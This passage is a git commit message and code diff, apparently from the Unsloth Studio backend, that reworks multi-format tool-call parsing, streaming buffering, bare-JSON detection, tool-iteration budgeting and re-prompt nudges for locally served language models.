Four document-order and containment fixes. A leading attribute-form
call now parses before the shared XML pass, so markup quoted in its
parameter stays data. The open-parameter scan lets the parameter's own
close tag decide, so any number of literal function closes inside one
value stay data, restoring the pre-close-scan behavior for multi-close
arguments. The leading-Mistral guard tolerates a visible preamble, with
the leading-bare-JSON guard running first so a trigger quoted inside a
leading JSON object stays data. The bare-JSON strip requires the
parser's top-level name in every mode, so nested-name JSON answers
survive name-agnostic stripping.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Let a leading <|python_tag|> call own the turn over quoted XML literals

The leading-call ownership contract (a leading executable call owns the turn;
foreign markup quoted in its string arguments or trailing prose stays data) was
enforced for the bare-JSON, Mistral and attribute-form leading calls but not
for the Llama-3 <|python_tag|> form. The shared tool_healing XML pass runs
before _parse_llama3_python_tag and does not recognise <|python_tag|>, so a
<function=...> / <tool_call> / [TOOL_CALLS] literal quoted inside a
<|python_tag|> .call(...) string argument (or its JSON parameters) was promoted
and the wrong tool executed. Well-formed single-format examples:

  <|python_tag|>web_search.call(query="... <function=foo> ...")  ->  foo
  <|python_tag|>python.call(code="<function=render_html>..</function>")  ->  render_html

both returned the phantom inner tool instead of the real leading call.

Add a leading-<|python_tag|> guard mirroring the other leading-call guards:
when the tag is the first tool signal, parse it before tool_healing so quoted
foreign markup stays data. A foreign signal before the tag keeps normal
document order. Added TestPythonTagOuterOverXmlLiteral (7 cases).

* studio: tighten tool-calling comments to be shorter and clearer

* studio: shorten tool-format comments in changed files

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: Daniel Han <info@unsloth.ai>
Co-authored-by: danielhanchen <danielhanchen@users.noreply.github.com>
---
 scripts/verify_import_hoist.py                |   13 +
 studio/backend/core/inference/llama_cpp.py    |  158 +-
 .../core/inference/passthrough_healing.py     |   25 +-
 .../core/inference/safetensors_agentic.py     |  198 ++-
 .../core/inference/tool_call_parser.py        | 1434 ++++++++++++++++-
 studio/backend/core/tool_healing.py           |  140 +-
 studio/backend/routes/inference.py            |  237 ++-
 .../tests/test_gemma_tool_parse_edge_cases.py |   56 +-
 .../backend/tests/test_llama_cpp_tool_loop.py |  387 ++++-
 .../tests/test_responses_tool_passthrough.py  |  118 ++
 .../test_safetensors_capability_advertise.py  |  223 ++-
 .../test_safetensors_reasoning_stream.py      |  182 +++
 .../tests/test_safetensors_tool_loop.py       | 1224 ++++++++++++++
 .../tests/test_tool_call_parser_strict.py     |  866 ++++++++++
 studio/backend/tests/test_tool_xml_strip.py   |  155 +-
 15 files changed, 5254 insertions(+), 162 deletions(-)
 create mode 100644 studio/backend/tests/test_safetensors_reasoning_stream.py

diff --git a/scripts/verify_import_hoist.py b/scripts/verify_import_hoist.py
index b4c908b0cb..2d30265abe 100644
--- a/scripts/verify_import_hoist.py
+++ b/scripts/verify_import_hoist.py
@@ -564,6 +564,9 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
     for n, tids in b["module_import_targets"].items():
         if tids & after_used:
             continue  # resolved -> fine
+        # `from __future__ import ...` is a compiler directive whose name is never loaded; skip it.
+        if all(t.startswith("from:__future__:") for t in tids):
+            continue
         newly_added = bool(tids - before_module_targets)
         was_used_before = bool(tids & before_used)
         if newly_added or was_used_before:
@@ -588,9 +591,19 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
     #    package object and only *add* submodule attributes (e.g. adding
     #    `import urllib.error` next to `import urllib.request`). Nothing the name
     #    resolved to before is lost, so no reference is re-pointed -- skip it.
+    #
+    #    A deliberate *relocation* is also benign: a name's import source moves A -> B in
+    #    THIS diff (old `from A import x` removed, new `from B import x` added). Mirrors the
+    #    TARGET-MISSING tolerance. Re-pointing to a pre-existing target (clash) is NOT exempted.
+    removed_module_targets = before_module_targets - after_module_targets
     for key, tafter in b["target_by_use"].items():
         tbefore = a["target_by_use"].get(key)
         if tbefore and tbefore != tafter and (tbefore - tafter):
+            lost = tbefore - tafter
+            gained = tafter - tbefore
+            relocated = lost <= removed_module_targets and gained <= added_module_targets
+            if relocated:
+                continue
             findings.append(
                 (
                     "BLOCKER",
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 3ccfc5cdfe..5e67f6b484 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -38,9 +38,21 @@ from core.inference.llama_server_args import (
     strip_shadowing_flags,
     strip_split_mode_only,
 )
-from core.tool_healing import (
+
+# Share strip / signal constants with the multi-format parser so BUFFERING also
+# catches Llama-3 / Mistral / Gemma 4.
+from core.inference.tool_call_parser import (
     _TOOL_ALL_PATS,
-    strip_tool_call_markup,
+    _balanced_brace_end,
+    _strip_function_xml_calls,
+    _strip_mistral_closed_calls,
+    TOOL_XML_SIGNALS as _SHARED_TOOL_XML_SIGNALS,
+    RAG_MAX_SEARCHES_PER_TURN,
+    RAG_SEARCH_CAP_NUDGE,
+    parse_tool_calls_from_text as _shared_parse_tool_calls_from_text,
+    strip_leading_bare_json_call,
+    strip_llama3_leading_sentinels,
+    strip_tool_markup as _shared_strip_tool_markup,
 )
 from utils.native_path_leases import child_env_without_native_path_secret
 from utils.hf_xet_fallback import hf_hub_download_with_xet_fallback
@@ -48,12 +60,6 @@ from utils.subprocess_compat import (
     windows_hidden_subprocess_kwargs as _windows_hidden_subprocess_kwargs,
 )
 from utils.process_lifetime import child_popen_kwargs as _child_popen_kwargs
-from core.inference.tool_call_parser import (
-    RAG_MAX_SEARCHES_PER_TURN,
-    RAG_SEARCH_CAP_NUDGE,
-    TOOL_XML_SIGNALS,
-    parse_tool_calls_from_text as _shared_parse_tool_calls_from_text,
-)
 from core.inference.tool_loop_controller import (
     ToolLoopController,
     tool_event_provenance,
@@ -220,7 +226,7 @@ _INTENT_SIGNAL = re.compile(
     r"\b(?:now i|next i)\b"
     r")"
 )
-_MAX_REPROMPTS = 1
+_MAX_REPROMPTS = 3
 
 # Default max_tokens to the effective context when known. The floor is high
 # enough for reasoning-heavy GGUFs and max_tokens-omitting API clients.
@@ -7881,12 +7887,17 @@ class LlamaCppBackend:
     # ── Message building (OpenAI format) ──────────────────────────
 
     @staticmethod
-    def _parse_tool_calls_from_text(content: str, *, allow_incomplete: bool = True) -> list[dict]:
-        """Thin wrapper around the shared parser in tool_call_parser
-        so safetensors and llama_cpp pick up the same fixes."""
+    def _parse_tool_calls_from_text(
+        content: str,
+        *,
+        allow_incomplete: bool = True,
+        enabled_tool_names: Optional[set] = None,
+    ) -> list[dict]:
+        """Wrapper around the shared parser; ``enabled_tool_names`` gates the markerless bare-JSON form."""
         return _shared_parse_tool_calls_from_text(
             content,
             allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
         )
 
     @staticmethod
@@ -8406,11 +8417,17 @@ class LlamaCppBackend:
         ) -> str:
             if not (auto_heal_tool_calls or force):
                 return text
-            return strip_tool_call_markup(text, final = final)
+            return _shared_strip_tool_markup(text, final = final)
 
         def _strip_tool_markup_streaming(text: str, *, force: bool = False) -> str:
             if not (auto_heal_tool_calls or force):
                 return text
+            # Shared patterns so a textual Mistral/Llama call entering DRAINING is stripped, not
+            # leaked. Mistral first; no final trim so incremental length comparisons hold.
+            text = _strip_mistral_closed_calls(text)
+            # Parser-accurate function-XML scan before the regex arms so a literal ``<function=...>``
+            # in a value doesn't make the tail eat trailing prose after the real ``</function>``.
+            text = _strip_function_xml_calls(text, final = True)
             for pat in _TOOL_ALL_PATS:
                 text = pat.sub("", text)
             return text
@@ -8456,6 +8473,13 @@ class LlamaCppBackend:
                 cumulative_display += "<think>" + reasoning_accum + "</think>"
             cumulative_display += content_buffer
 
+        def _looks_like_enabled_bare_json(text: str, enabled_tool_names: set) -> bool:
+            """True when ``text`` opens with an ENABLED markerless bare-JSON call; an ordinary JSON answer returns False."""
+            probe = strip_llama3_leading_sentinels(text.lstrip())
+            if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
+                return False
+            return strip_leading_bare_json_call(probe, enabled_tool_names) != probe
+
         tool_controller = ToolLoopController(
             tools = tools,
             auto_heal_tool_calls = auto_heal_tool_calls,
@@ -8469,6 +8493,8 @@ class LlamaCppBackend:
             )
 
         _MAX_BUFFER_CHARS = 32
+        # Hold a leading ``{`` well past the 32-char XML cap until it balances (mirrors safetensors).
+        _MAX_BARE_JSON_BUFFER = 16384
         _append_budget_exhausted_nudge = True
         # RAG: cap knowledge-base searches per assistant turn. The controller is
         # tool-agnostic, so this gate stays in the loop.
@@ -8481,6 +8507,9 @@ class LlamaCppBackend:
         # "Hello!" won't match. Pattern compiled at module level
         # (_INTENT_SIGNAL).
         _reprompt_count = 0
+        # Gates ``max_tool_iterations`` on real tool turns so reserved re-prompt slots don't
+        # extend the budget. Mirrors the safetensors guard.
+        _tool_iters_done = 0
         _forced_tool_call_pending = False
 
         # Reserve extra iterations for re-prompts so they don't consume the
@@ -8489,12 +8518,21 @@ class LlamaCppBackend:
         for iteration in range(max_tool_iterations + _extra):
             if cancel_event is not None and cancel_event.is_set():
                 return
+            # Whether this turn ran a tool; a no-op-only turn stays False and doesn't consume budget.
+            _turn_executed_real_tool = False
 
             active_tools = tool_controller.active_tools()
             if not active_tools:
                 _append_budget_exhausted_nudge = False
                 break
-            _tool_xml_signals = TOOL_XML_SIGNALS
+            # Gate the markerless bare-JSON form on enabled names so a JSON answer isn't misread as a call.
+            _enabled_tool_names = {
+                (tool.get("function") or {}).get("name")
+                for tool in active_tools
+                if (tool.get("function") or {}).get("name")
+            }
+            # Shared signal tuple so GGUF BUFFERING wakes on every format the parser knows.
+            _tool_xml_signals = _SHARED_TOOL_XML_SIGNALS
 
             # Build payload -- stream: True so we detect tool signals
             # in the first 1-2 chunks without a non-streaming penalty.
@@ -8777,7 +8815,36 @@ class LlamaCppBackend:
                                                 is_prefix = True
                                                 break
 
-                                        if is_match:
+                                        # Bare Llama-3.2 {"name":..} has no XML signal: hold an
+                                        # incomplete object, drain a complete one (mirrors safetensors).
+                                        _hold_buffer = False
+                                        # Whole buffer is the call (no visible prefix) -- drain silently.
+                                        _drain_silently = False
+                                        if not is_match and not is_prefix:
+                                            _bare = strip_llama3_leading_sentinels(stripped_buf)
+                                            if _bare.startswith("{"):
+                                                if _balanced_brace_end(_bare, 0) is None:
+                                                    if len(stripped_buf) < _MAX_BARE_JSON_BUFFER:
+                                                        _hold_buffer = True
+                                                    elif _looks_like_enabled_bare_json(
+                                                        _bare, _enabled_tool_names
+                                                    ):
+                                                        # Oversized still-open ENABLED-tool call: stop
+                                                        # holding (memory bound) but DRAIN, not leak;
+                                                        # a giant ordinary JSON answer still streams.
+                                                        _drain_silently = True
+                                                elif self._parse_tool_calls_from_text(
+                                                    content_buffer,
+                                                    allow_incomplete = auto_heal_tool_calls,
+                                                    enabled_tool_names = _enabled_tool_names,
+                                                ):
+                                                    _drain_silently = True
+
+                                        if _drain_silently:
+                                            # No visible prefix -- the buffered text IS
+                                            # the call; drain without yielding it.
+                                            detect_state = _S_DRAINING
+                                        elif is_match:
                                             # Tool signal -- flush any visible
                                             # prefix before DRAINING so the
                                             # route sends it before tool_start.
@@ -8794,7 +8861,9 @@ class LlamaCppBackend:
                                                         "text": cleaned,
                                                     }
                                             detect_state = _S_DRAINING
-                                        elif is_prefix and len(stripped_buf) < _MAX_BUFFER_CHARS:
+                                        elif _hold_buffer or (
+                                            is_prefix and len(stripped_buf) < _MAX_BUFFER_CHARS
+                                        ):
                                             pass  # keep buffering
                                         else:
                                             # Not a tool -- flush buffer
@@ -8821,8 +8890,16 @@ class LlamaCppBackend:
                 # ── Resolve BUFFERING at stream end ──
                 if detect_state == _S_BUFFERING:
                     stripped_buf = content_buffer.lstrip()
+                    # A held bare-JSON fragment has no XML signal; route it to DRAINING.
+                    _bare_eos = strip_llama3_leading_sentinels(stripped_buf)
+                    # Gate on enabled names so a JSON answer isn't routed to DRAINING and dropped.
+                    _is_bare_tc = bool(active_tools) and _looks_like_enabled_bare_json(
+                        _bare_eos, _enabled_tool_names
+                    )
                     if stripped_buf and any(s in stripped_buf for s in _tool_xml_signals):
                         detect_state = _S_DRAINING
+                    elif _is_bare_tc:
+                        detect_state = _S_DRAINING
                     elif content_accum or reasoning_accum:
                         detect_state = _S_STREAMING
                         if content_buffer:
@@ -8848,20 +8925,24 @@ class LlamaCppBackend:
                                     "text": cumulative_display,
                                 }
                     else:
+                        # No tool signal and no enabled bare-JSON call: a leading ``{`` is an ordinary
+                        # JSON answer and must be shown; any other partial-markup prefix is dropped.
+                        _held = strip_llama3_leading_sentinels(content_buffer.lstrip())
+                        if _held.startswith("{") and not _suppress_visible_output:
+                            yield {"type": "content", "text": _held}
                         return
 
                 # ── STREAMING path: no tool call ──
                 if detect_state == _S_STREAMING:
-                    # Safety net: check for XML tool signals in content. The
-                    # route layer resets prev_text on tool_start, so post-tool
-                    # synthesis streams correctly even if content was emitted
-                    # before the tool XML.
-                    _safety_tc = None
-                    if any(s in content_accum for s in _tool_xml_signals):
-                        _safety_tc = self._parse_tool_calls_from_text(
-                            content_accum,
-                            allow_incomplete = auto_heal_tool_calls,
-                        )
+                    # Safety net: re-parse the full content for tool calls. The route layer resets
+                    # prev_text on tool_start, so post-tool synthesis streams correctly even if
+                    # content was emitted before the tool XML. Unconditional (not gated on
+                    # _tool_xml_signals): bare-JSON and Gemma wrapper-less calls carry no signal.
+                    _safety_tc = self._parse_tool_calls_from_text(
+                        content_accum,
+                        allow_incomplete = auto_heal_tool_calls,
+                        enabled_tool_names = _enabled_tool_names,
+                    )
                     if not _safety_tc:
                         # ── Re-prompt on plan-without-action ──
                         # If the model described its intent (forward-looking
@@ -8978,10 +9059,13 @@ class LlamaCppBackend:
                             for i in sorted(tool_calls_acc)
                             if (tool_calls_acc[i].get("function", {}).get("name", "").strip())
                         ] or None
-                    if not tool_calls and any(s in content_accum for s in _tool_xml_signals):
+                    if not tool_calls:
+                        # Unconditional re-parse: DRAINING means the buffer looked like a call, and
+                        # bare-JSON / Gemma wrapper-less calls carry no XML signal to gate on.
                         tool_calls = self._parse_tool_calls_from_text(
                             content_accum,
                             allow_incomplete = auto_heal_tool_calls,
+                            enabled_tool_names = _enabled_tool_names,
                         )
                     if tool_calls and not has_structured_tc:
                         content_text = _strip_tool_markup(
@@ -8989,6 +9073,11 @@ class LlamaCppBackend:
                             final = True,
                             force = True,
                         )
+                        # ``_strip_tool_markup`` only knows XML; also drop a leading bare-JSON call
+                        # so the executed call isn't replayed as text or next-turn history.
+                        content_text = strip_leading_bare_json_call(
+                            content_text, _enabled_tool_names
+                        )
                     if tool_calls:
                         logger.info(
                             f"Parsed {len(tool_calls)} tool call(s) from "
@@ -9002,6 +9091,13 @@ class LlamaCppBackend:
                         if content_accum:
                             # Strip leaked tool-call XML before yielding.
                             content_accum = _strip_tool_markup(content_accum, final = True)
+                        # A truncated bare-JSON call has no XML to strip and didn't parse. With
+                        # Auto-Heal on drop a leading ENABLED-tool fragment (plain JSON untouched);
+                        # off keeps it visible per the strict contract.
+                        if content_accum and active_tools and auto_heal_tool_calls:
+                            content_accum = strip_leading_bare_json_call(
+                                content_accum, _enabled_tool_names
+                            )
                         if content_accum:
                             yield {"type": "content", "text": content_accum}
                         _meta = _build_metadata_event(
@@ -9144,6 +9240,8 @@ class LlamaCppBackend:
                             _kb_search_count += 1
                     completion = tool_controller.record_result(decision, result)
                     resolved_provisional_tool_call_ids.add(decision.tool_call_id)
+                    # A tool ran this turn, so it counts against the caller's budget.
+                    _turn_executed_real_tool = True
                     yield completion.tool_end_event()
                     conversation.append(completion.tool_message())
 
@@ -9167,6 +9265,12 @@ class LlamaCppBackend:
                 if tool_controller.force_final_answer or not tool_controller.active_tools():
                     _append_budget_exhausted_nudge = False
                     break
+                # Count only real tool turns against the cap so reserved re-prompt slots can't
+                # become extra tool rounds; a no-op turn doesn't consume budget (GGUF parity).
+                if _turn_executed_real_tool:
+                    _tool_iters_done += 1
+                    if _tool_iters_done >= max_tool_iterations:
+                        break
                 continue
 
             except httpx.ConnectError:
diff --git a/studio/backend/core/inference/passthrough_healing.py b/studio/backend/core/inference/passthrough_healing.py
index c73134b4a2..35855cc34d 100644
--- a/studio/backend/core/inference/passthrough_healing.py
+++ b/studio/backend/core/inference/passthrough_healing.py
@@ -29,10 +29,23 @@ import os
 from collections.abc import Mapping
 from typing import Any, Optional
 
-from core.inference.tool_call_parser import TOOL_XML_SIGNALS, has_tool_signal
 from core.inference.tool_loop_controller import coerce_tool_arguments
 from core.tool_healing import parse_tool_calls_from_text
 
+# Only the formats this healer can promote. The parser's broader list adds Llama
+# <|python_tag|> / Mistral [TOOL_CALLS], but buffering those here would flush a
+# streamed call as prose, so keep a healer-aligned list.
+_HEAL_SIGNALS = (
+    "<tool_call>",
+    "<|tool_call>",
+    "<function=",
+)
+
+
+def _has_heal_signal(text: str) -> bool:
+    return any(s in text for s in _HEAL_SIGNALS)
+
+
 # Read once at import (same convention as the other UNSLOTH_* switches).
 _HEALING_DISABLED = os.environ.get("UNSLOTH_DISABLE_TOOL_CALL_HEALING", "0") == "1"
 # Nudging is OPT-IN: per-request nudge_tool_calls=true, or flip the process
@@ -44,7 +57,7 @@ def nudge_enabled(request_flag: Optional[bool]) -> bool:
     return _NUDGE_DEFAULT if request_flag is None else bool(request_flag)
 
 
-_MAX_SIGNAL_LEN = max(len(s) for s in TOOL_XML_SIGNALS)
+_MAX_SIGNAL_LEN = max(len(s) for s in _HEAL_SIGNALS)
 # A suspected-but-unclosed tool block larger than this is declared a false
 # alarm and flushed, bounding memory on a model rambling XML-lookalike text.
 _MAX_HOLD_CHARS = 64 * 1024
@@ -198,7 +211,7 @@ def heal_openai_message_events(
     if not isinstance(msg, dict) or msg.get("tool_calls"):
         return None
     content = msg.get("content")
-    if not isinstance(content, str) or not has_tool_signal(content):
+    if not isinstance(content, str) or not _has_heal_signal(content):
         return None
     parsed, spans = parse_tool_calls_from_text(content, allow_incomplete = True, with_spans = True)
     tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
@@ -248,7 +261,7 @@ def heal_openai_message(
 
 def _earliest_signal(buffer: str) -> int:
     best = -1
-    for signal in TOOL_XML_SIGNALS:
+    for signal in _HEAL_SIGNALS:
         index = buffer.find(signal)
         if index >= 0 and (best < 0 or index < best):
             best = index
@@ -275,7 +288,7 @@ def _partial_signal_suffix(buffer: str) -> int:
     """Length of the longest buffer suffix that is a proper prefix of a signal."""
     for length in range(min(len(buffer), _MAX_SIGNAL_LEN - 1), 0, -1):
         tail = buffer[-length:]
-        if any(signal.startswith(tail) for signal in TOOL_XML_SIGNALS):
+        if any(signal.startswith(tail) for signal in _HEAL_SIGNALS):
             return length
     return 0
 
@@ -508,7 +521,7 @@ def nudge_should_retry(
     if not message or message.get("tool_calls"):
         return False
     text = message.get("content")
-    if not isinstance(text, str) or not has_tool_signal(text):
+    if not isinstance(text, str) or not _has_heal_signal(text):
         return False
     return not _heal_would_promote(text, allowed_tools, tools)
 
diff --git a/studio/backend/core/inference/safetensors_agentic.py b/studio/backend/core/inference/safetensors_agentic.py
index 0c96378d6c..b67c6cf7e7 100644
--- a/studio/backend/core/inference/safetensors_agentic.py
+++ b/studio/backend/core/inference/safetensors_agentic.py
@@ -22,11 +22,17 @@ from loggers import get_logger
 
 from core.inference.tool_call_parser import (
     _TOOL_ALL_PATS,
+    _balanced_brace_end,
+    _strip_function_xml_calls,
+    _strip_mistral_closed_calls,
+    _strip_mistral_reasoning,
     BUDGET_EXHAUSTED_NUDGE,
     RAG_MAX_SEARCHES_PER_TURN,
     RAG_SEARCH_CAP_NUDGE,
     TOOL_XML_SIGNALS,
     parse_tool_calls_from_text,
+    strip_leading_bare_json_call,
+    strip_llama3_leading_sentinels,
     strip_tool_markup,
 )
 from core.inference.tool_loop_controller import (
@@ -50,6 +56,34 @@ logger = get_logger(__name__)
 # Buffer cap while disambiguating a possible tool-call prefix.
 _MAX_BUFFER_CHARS = 32
 
+# Memory bound for holding a leading bare-JSON object whose top-level "{" never balances.
+_MAX_BARE_JSON_BUFFER = 16384
+
+# Forward-looking intent ("I'll", "First,", "Step 1:") = planning; nudge a call. Negative
+# lookahead drops negated forms ("I will not"). Mirrors GGUF.
+_INTENT_SIGNAL = re.compile(
+    r"(?i)("
+    r"\b(i['’](ll|m going to|m gonna)|i am (going to|gonna)|i will|i shall|let me|allow me)\b(?!\s+(?:not|never)\b)"
+    r"|\b(?:first\b|step \d+:?|here['’]?s (?:my |the |a )?(?:plan|approach))"
+    r"|\b(?:now i|next i)\b"
+    r")"
+)
+_MAX_REPROMPTS = 3
+_REPROMPT_MAX_CHARS = 2000
+# Templated so the nudge names the caller's enabled tools. Mirrors GGUF tool_hint.
+_REPROMPT_INSTRUCTION_TEMPLATE = (
+    "STOP. Do NOT write code or explain. You MUST call a tool NOW. Call {tool_hint} immediately."
+)
+
+
+def _active_tool_names(active_tools: list[dict]) -> list[str]:
+    names = [
+        (tool.get("function") or {}).get("name")
+        for tool in active_tools
+        if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
+    ]
+    return [name for name in names if name]
+
 
 def strip_tool_markup_streaming(
     text: str,
@@ -60,6 +94,12 @@ def strip_tool_markup_streaming(
     """Strip open-ended tool XML from display text without trimming whitespace."""
     if not (auto_heal_tool_calls or tool_protocol_active):
         return text
+    # Mirror the final strip (no final trim): drop a leading Magistral ``[THINK]...[/THINK]``
+    # block, then Mistral calls, then a parser-accurate function-XML scan before the regex
+    # arms. An unclosed ``[THINK]`` holds until ``[/THINK]`` so text stays monotonic.
+    text = _strip_mistral_reasoning(text)
+    text = _strip_mistral_closed_calls(text)
+    text = _strip_function_xml_calls(text, final = True)
     for pat in _TOOL_ALL_PATS:
         text = pat.sub("", text)
     return text
@@ -81,6 +121,14 @@ def _status_for_tool(tool_name: str, arguments: dict) -> str:
     return status_for_tool(tool_name, arguments)
 
 
+def _looks_like_enabled_bare_json(text: str, enabled_tool_names: Optional[set]) -> bool:
+    """True when ``text`` opens with an ENABLED markerless bare-JSON call; an ordinary JSON answer returns False."""
+    probe = strip_llama3_leading_sentinels(text.lstrip())
+    if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
+        return False
+    return strip_leading_bare_json_call(probe, enabled_tool_names) != probe
+
+
 _FUNCTION_SIGNAL_RE = re.compile(r"<function=([\w-]+)>")
 _TOOL_CALL_NAME_RE = re.compile(r'"name"\s*:\s*"([\w-]+)"')
 
@@ -198,6 +246,10 @@ def run_safetensors_tool_loop(
     kb_search_count = 0
     final_attempt_done = False
     next_call_id = 0
+    reprompt_count = 0
+    # Only turns that executed a tool count against ``max_tool_iterations``; a no-op or
+    # re-prompt turn must not consume budget (GGUF parity).
+    _executed_tool_iters = 0
 
     def _tool_succeeded(tool_name: str) -> bool:
         key_prefix = f"{tool_name}:"
@@ -215,9 +267,13 @@ def run_safetensors_tool_loop(
     _state_streaming = 1
     _state_draining = 2
 
-    for iteration in range(max_tool_iterations + 1):
+    # Reserve re-prompt slots so they don't eat the caller's tool budget.
+    _extra_iters = _MAX_REPROMPTS if max_tool_iterations > 0 else 0
+    for iteration in range(max_tool_iterations + _extra_iters + 1):
         if cancel_event is not None and cancel_event.is_set():
             return
+        # Whether this turn ran a tool; a no-op-only turn stays False and doesn't consume budget.
+        _turn_executed_real_tool = False
 
         if final_attempt_done:
             active_tools: list[dict] = []
@@ -229,6 +285,8 @@ def run_safetensors_tool_loop(
 
         tool_protocol_active = not final_attempt_done and (unrestricted_tools or bool(active_tools))
         tool_xml_signals = TOOL_XML_SIGNALS if tool_protocol_active else ()
+        # Gate the markerless bare-JSON form on enabled names so a JSON answer isn't misread as a call.
+        _enabled_tool_names = None if unrestricted_tools else set(_active_tool_names(active_tools))
 
         detect_state = _state_buffering
         content_buffer = ""
@@ -367,6 +425,34 @@ def run_safetensors_tool_loop(
                     is_prefix = True
                     break
 
+            # Bare Llama-3.2 ``{"name":..,"parameters":..}`` carries no XML signal. Hold a leading
+            # ``{`` (after any sentinel) until it closes: drain if it parses as a call, else stream.
+            bare_probe = strip_llama3_leading_sentinels(stripped)
+            if (
+                not is_match
+                and not is_prefix
+                and tool_protocol_active
+                and bare_probe.startswith("{")
+            ):
+                if _balanced_brace_end(bare_probe, 0) is None:
+                    if len(stripped) < _MAX_BARE_JSON_BUFFER:
+                        continue  # object still open -- keep buffering
+                    elif _looks_like_enabled_bare_json(bare_probe, _enabled_tool_names):
+                        # Oversized still-open ENABLED-tool call: stop holding (memory bound) but
+                        # DRAIN, not leak; a giant ordinary JSON answer still streams.
+                        detect_state = _state_draining
+                        continue
+                elif parse_tool_calls_from_text(
+                    content_buffer,
+                    id_offset = next_call_id,
+                    allow_incomplete = auto_heal_tool_calls,
+                    enabled_tool_names = _enabled_tool_names,
+                ):
+                    # Closed object that parses as a bare-JSON call -- drain silently.
+                    detect_state = _state_draining
+                    continue
+                # Closed non-call object (or oversized non-call) -- stream as text.
+
             if is_match:
                 # Tool signal -- flush any visible prefix before DRAINING
                 # so the route sends it before tool_start.
@@ -419,44 +505,74 @@ def run_safetensors_tool_loop(
         if detect_state == _state_buffering:
             # Buffer never resolved -- tool XML or plain content?
             stripped = content_buffer.lstrip()
+            _bare_eos = strip_llama3_leading_sentinels(stripped)
             if (
                 stripped
                 and tool_protocol_active
                 and any(sig in stripped for sig in tool_xml_signals)
             ):
                 detect_state = _state_draining
+            elif tool_protocol_active and _looks_like_enabled_bare_json(
+                _bare_eos, _enabled_tool_names
+            ):
+                # Held ENABLED-tool bare-JSON fragment has no XML signal; DRAIN it (a JSON answer
+                # falls through to the else and streams, GGUF parity).
+                detect_state = _state_draining
             else:
+                # Drain and fall through to STREAMING so the intent re-prompt + safety-net parser
+                # still fire on short emissions like "Let me search." that never exit BUFFERING.
                 if content_buffer:
                     cumulative_display += content_buffer
-                    yield {
-                        "type": "content",
-                        "text": _strip_tool_markup_final(
-                            cumulative_display,
-                            auto_heal_tool_calls = auto_heal_tool_calls,
-                            tool_protocol_active = False,
-                        ),
-                    }
-                yield {"type": "status", "text": ""}
-                return
+                    cleaned = strip_tool_markup(cumulative_display, final = True)
+                    if len(cleaned) > len(last_emitted):
+                        last_emitted = cleaned
+                        yield {"type": "content", "text": cleaned}
+                detect_state = _state_streaming
 
         if detect_state == _state_streaming:
-            # No tool detected mid-stream -- check for late tool XML.
-            safety_tc = None
-            saw_tool_signal = tool_protocol_active and any(
-                sig in content_accum for sig in tool_xml_signals
+            # Run the parser even with no XML signal (bare-JSON carries none); it's strict so
+            # plain answers stay untouched. Mirrors GGUF.
+            safety_tc = parse_tool_calls_from_text(
+                content_accum,
+                id_offset = next_call_id,
+                allow_incomplete = auto_heal_tool_calls,
+                enabled_tool_names = _enabled_tool_names,
             )
-            if saw_tool_signal:
-                safety_tc = parse_tool_calls_from_text(
-                    content_accum,
-                    id_offset = next_call_id,
-                    allow_incomplete = auto_heal_tool_calls,
-                )
             if not safety_tc:
-                # Final answer: if a literal tool marker in prose was stripped
-                # during streaming but did not parse as a real call, restore the
-                # raw cumulative text for core callers. Route-level cleanup can
-                # still apply the Auto-Heal display policy.
-                if saw_tool_signal and content_accum:
+                # Re-prompt only when the model planned without acting (intent signal);
+                # "4" / "Hello!" never trigger. Mirrors GGUF.
+                _stripped = content_accum.strip()
+                if (
+                    tools
+                    and auto_heal_tool_calls
+                    and reprompt_count < _MAX_REPROMPTS
+                    and 0 < len(_stripped) < _REPROMPT_MAX_CHARS
+                    and _INTENT_SIGNAL.search(_stripped)
+                    and not final_attempt_done
+                ):
+                    reprompt_count += 1
+                    logger.info(
+                        "Safetensors re-prompt %d/%d: model planned without "
+                        "calling tools (%d chars)",
+                        reprompt_count,
+                        _MAX_REPROMPTS,
+                        len(_stripped),
+                    )
+                    tool_hint = " or ".join(_active_tool_names(active_tools)) or "an available tool"
+                    conversation.append({"role": "assistant", "content": _stripped})
+                    conversation.append(
+                        {
+                            "role": "user",
+                            "content": _REPROMPT_INSTRUCTION_TEMPLATE.format(tool_hint = tool_hint),
+                        }
+                    )
+                    yield {"type": "status", "text": ""}
+                    continue
+
+                # Final answer. If a literal tool marker in prose was buffered but never
+                # parsed as a call, restore the raw text so the prose surfaces; route
+                # cleanup still applies the Auto-Heal policy.
+                if content_accum and any(sig in content_accum for sig in tool_xml_signals):
                     yield {"type": "content", "text": content_accum}
                 yield {"type": "status", "text": ""}
                 return
@@ -476,20 +592,24 @@ def run_safetensors_tool_loop(
                 content_accum,
                 id_offset = next_call_id,
                 allow_incomplete = auto_heal_tool_calls,
+                enabled_tool_names = _enabled_tool_names,
             )
             if not tool_calls:
                 # Parser found nothing. Auto-Heal-enabled display cleanup
                 # strips unparseable tool XML; disabled Auto-Heal preserves
                 # the raw text so literal/malformed markup stays visible.
                 if content_accum:
-                    yield {
-                        "type": "content",
-                        "text": _strip_tool_markup_final(
-                            content_accum,
-                            auto_heal_tool_calls = auto_heal_tool_calls,
-                            tool_protocol_active = False,
-                        ),
-                    }
+                    _drain_text = _strip_tool_markup_final(
+                        content_accum,
+                        auto_heal_tool_calls = auto_heal_tool_calls,
+                        tool_protocol_active = False,
+                    )
+                    # Drained bare-JSON call that didn't parse: with Auto-Heal on drop the fragment
+                    # (plain JSON untouched); off keeps it visible per the strict contract.
+                    if tool_protocol_active and auto_heal_tool_calls:
+                        _drain_text = strip_leading_bare_json_call(_drain_text, _enabled_tool_names)
+                    if _drain_text:
+                        yield {"type": "content", "text": _drain_text}
                 if provisional_render_html_started and not provisional_resolved:
                     provisional_resolved = True
                     yield {
